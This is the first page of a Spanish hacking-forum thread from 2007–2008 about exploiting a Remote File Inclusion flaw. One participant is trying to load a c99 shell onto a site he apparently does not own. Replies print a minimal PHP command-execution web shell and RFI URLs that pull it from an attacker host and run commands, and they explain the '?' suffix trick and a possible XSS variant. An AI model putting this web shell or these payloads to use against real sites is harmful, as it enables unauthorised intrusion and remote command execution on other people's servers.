elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  duda con RFI.......
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: duda con RFI.......  (Leído 5,463 veces)
warlock394

Desconectado Desconectado

Mensajes: 1


Ver Perfil
duda con RFI.......
« en: 27 Octubre 2007, 02:42 am »

Hola a todos los integrantes de este foro, quisiera hacerles una consulta para ver si me ayudan con mi duda... Hace unos dias encontre una web vulnerable al Remote FIle inclusion pero no he podido hacer uso de la shell c99 o ejecutar cualquier script simple que me de informacion..

De esta forma la uso :

http://vulnerable/principal/main.php?pag_dest=http://atacante/c99.txt

pero no se ejecuta, simplemente muestra el codigo fuente de la shell, he leido que para que se ejecute la shell se le cambia la extension a .txt o jpg o gif pero ninguno me resulta que podría ser??
En línea

HaDeS, -
WarZone Master

Desconectado Desconectado

Mensajes: 284



Ver Perfil WWW
Re: duda con RFI.......
« Respuesta #1 en: 27 Octubre 2007, 04:48 am »

Código
  1. highlight_file($_GET['pag_dest']);
  2.  
ó
Código
  1. $pag = $_GET['pag_dest'];
  2. $a = fopen($pag, "r");
  3. echo fread($a,filesize($pag));
  4. fclose($a);
  5.  

Diferente a:
Código
  1. $pag = $_GET['pag_dest'];
  2. include($pag);
  3.  

Lo que quiere decir, que la aplicación web que encontraste no es vulnerable a inclusión remota.
saludos ;)
En línea

Deka_10

Desconectado Desconectado

Mensajes: 196



Ver Perfil
Re: duda con RFI.......
« Respuesta #2 en: 3 Noviembre 2007, 01:02 am »

has provado de meter un signo de interrogacion al final?
etc../c99.txt?

asi.
En línea

Islam != Terrorism
HaDeS, -
WarZone Master

Desconectado Desconectado

Mensajes: 284



Ver Perfil WWW
Re: duda con RFI.......
« Respuesta #3 en: 3 Noviembre 2007, 02:45 am »

has provado de meter un signo de interrogacion al final?
etc../c99.txt?

asi.
Explicame que hace exactamente el "?"
Saludos!, solo respondeme vos!
En línea

H3xCryp

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Re: duda con RFI.......
« Respuesta #4 en: 30 Diciembre 2007, 16:13 pm »

aver, si te fijas en los codigos de las shells.
te pongo un ejemplo:

Código
  1. <?php
  2. $cmd=$_GET["cmd"];
  3. system($cmd);
  4. ?>

la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.

$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro cmd se ejecutara con system y nos mostrara el resultado del comando.

* ademas de ejecutar con system, se pueden ejecutar comandos con: passthru, system_exec, shell_exec, exec y con eval.

Ejemplo:
http://localhost/shell.php?cmd=ls%20-lia

Por eso cuando en un RFI:
http://vulnerable/principal/main.php?pag_dest=http://atacante/shell.txt?cmd=ls

saludos.
En línea

HaDeS, -
WarZone Master

Desconectado Desconectado

Mensajes: 284



Ver Perfil WWW
Re: duda con RFI.......
« Respuesta #5 en: 7 Febrero 2008, 23:37 pm »

...
la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.

$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro cmd se ejecutara con system y nos mostrara el resultado del comando.
...
Se ve que no tenes la mínima idea de php, con $_GET no se hace ninguna petición, con $_GET se retornan los valores de una variable identificada por nombre x en el GET de una petición.

Código:
GET /abc?a=123 HTTP/1.1
Host:...

Código
  1. $variable = $_GET['a'];
  2. echo $variable
  3.  

Respuesta: 123

Ademas él dice que se muestra el contenido del archivo, por lo que logicamente no se trata de una inclusión, sino de la lectura e impresión de datos como lo puse más arriba.

Si me respondias lo de "Explicame que hace exactamente el "?"
Saludos!, solo respondeme vos!"

Pues no respondiste lo que era.

Y de paso explico que es el ?
Lo que hay por delante del ? en las peticiones, es denominado porción de consulta, y es donde se encuentran las variables que se mandan al servidor. eso era todo, se utiliza el ? en las inclusiones, para que el sufijo que se le añade a la variable sea parte de la porción de consulta, y no sea incluido como un solo archivo.

Saludos
En línea

dark_hat

Desconectado Desconectado

Mensajes: 185



Ver Perfil
Re: duda con RFI.......
« Respuesta #6 en: 11 Febrero 2008, 21:12 pm »

¿Si no has podido ejecutar scripts como sabes q es vulnerable a RFI? Prueba a ejecutar un script básico como:
Código:
<?
echo "texto";
?>

Y si te sale el código fuente en lugar de poner simplemente "texto" pues no será vulnerable. De todas formas aunque sea vulnerable puede no funcionar la shell, la función system puede estar desactivada. ¿Por qué no dices que página es?
En línea

Eso que huele es un poco de incienso,
eso marrón una tableta de turrón...
Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: duda con RFI.......
« Respuesta #7 en: 18 Febrero 2008, 19:25 pm »

sumando a lo que dice hades en el primer post tambien podria ser:

Código
  1. echo '<iframe src="'.$_GET['pag_dest'].'">';

y entonces "podrias" poner scripts, o sea, puede ser que sea vulnerable a XSS o CSRF
En línea

Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: duda con RFI.......
« Respuesta #8 en: 18 Febrero 2008, 19:36 pm »

lo que hace el "?" es que se ejecute la shell o no? :-\
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: duda con RFI.......
« Respuesta #9 en: 18 Febrero 2008, 20:42 pm »

da igual si lleva el "?" o no XD

lo que pasa es que primero debes asegurar que sea vulnerable
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines